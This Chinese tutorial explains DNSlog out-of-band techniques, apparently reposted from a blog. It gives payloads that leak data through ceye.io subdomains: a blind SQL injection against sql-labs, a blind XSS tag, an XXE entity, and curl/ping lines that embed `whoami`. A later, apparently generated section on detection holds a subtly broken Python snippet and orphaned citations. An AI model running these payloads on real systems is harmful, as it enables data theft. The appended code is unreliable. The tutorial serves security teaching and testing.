巧用DNSlog实现无回显注入

前言

测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ben掉我们的ip,这样我们可以通过设置ip代理池解决,但是盲注往往效率很低,所以产生了DNSlog注入。具体原理如下。

首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下。

DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。

这样说原理很抽象,下面通过实际例子看下。

http://ceye.io 这是一个免费的记录dnslog的平台,我们注册后到控制面板会给你一个二级域名:xxx.ceye.io,当我们把注入信息放到三级域名那里,后台的日志会记录下来

0x01SQL盲注

就以sql盲注为例。深入理解下DNSlog注入过程:

通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like '%secure%';查看load_file()可以读取的磁盘。

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_priv为G:\,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件。

通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。

在mysql命令行执行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查询语句

查看平台,dnsLog被记录下来。

load_file()函数可以通过dns解析请求。

以sql-labs第五关:

payload:' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)-- -+

执行的sql语句:

SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)

查看dnslog日志,发现security数据库被查询出来:

0x02 XSS(无回显)

通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:

payload:><img src=http://xss.xxxx.ceye.io/aaa>让src请求我们的dnslog平台

0x03 SSRF(无回显)

payload: 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
%remote;]>
<root/>

0x04命令执行(无回显)

当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求,当命令真正被执行且平台收到回显时就能说明漏洞确实存在。

*nix
curl http://haha.xxx.ceye.io/`whoami`
ping `whoami`.xxxx.ceye.io

Windows
ping %USERNAME%.xxx.ceye.io

其他的在这个平台上有一些payload。

参考链接:

http://foreversong.cn/archives/861

https://bbs.ichunqiu.com/thread-22002-1-1.html

http://blog.knownsec.com/2016/06/how-to-scan-and-check-vulnerabilities/

 

转自:https://www.cnblogs.com/afanti/p/8047530.html

### Dnslog 外带检测与 DNS 回显技术原理 #### DNSLog 外带检测的技术原理 DNSLog 外带是一种利用 DNS 协议特性绕过网络边界限制的方法。当攻击者成功注入特定的有效载荷到目标应用程序中时,该有效载荷会触发一个外部的 DNS 请求。这个请求通常会被发送至由攻击者控制的 DNS 服务器上,在那里它可以被记录下来并用于推断内部系统的状态或数据[^1]。 为了实现有效的 DNSLog 外带检测,安全团队可以采取多种策略: - **监控异常流量模式**:通过设置基线来识别正常业务操作中的典型行为,并标记任何偏离这些标准的行为作为潜在威胁。 - **实时日志分析**:部署专门的日志管理系统(SIEM),能够快速处理大量来自不同源的数据流,并应用机器学习算法自动发现可疑活动。 - **黑名单/白名单管理**:维护已知恶意 IP 地址列表以及可信资源库,以便及时阻止非法连接尝试;同时允许合法通信不受干扰地继续进行。 ```python import logging from datetime import timedelta def monitor_dns_requests(logs, threshold=50): """Monitor and alert on unusual number of DNS requests.""" recent_logs = logs.filter(timestamp__gte=datetime.now()-timedelta(hours=1)) request_count = recent_logs.count() if request_count > threshold: logging.warning(f"Unusual activity detected: {request_count} DNS requests in the last hour.") ``` #### DNS 回显的工作机制 DNS 回显是指一种特殊的 DNS 查询方式,其中客户端发出带有自定义子域部分的查询字符串给指定名称服务器。如果配置得当,则每次这样的查询都会导致相应的响应消息返回给原始发起方。这种方法常用来验证某些功能是否按预期工作,或是作为一种简单的调试工具[^4]。 具体来说,对于 Web 应用程序而言,可以通过构造特殊 URL 来触发展示页面加载过程中产生的错误信息或其他敏感细节。例如,`http://victim.com/?debug=true&domain=<attacker-controlled-subdomain>.example.com` 可能会导致浏览器向 `<attacker-controlled-subdomain>.example.com` 发送一次 A 记录查找请求,从而暴露出有关受害者环境的信息。 #### 实现方法概述 要防范上述提到的风险,建议采用以下措施加强防护力度: - 对于所有进出组织内外部网络边界的 DNS 流量实施严格过滤; - 定期审查现有的防火墙规则集以确保其有效性; - 使用最新的入侵防御系统 (IPS) 和防病毒软件保护关键资产免受最新形式的攻击; - 教育员工提高网络安全意识,减少人为失误带来的安全隐患。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值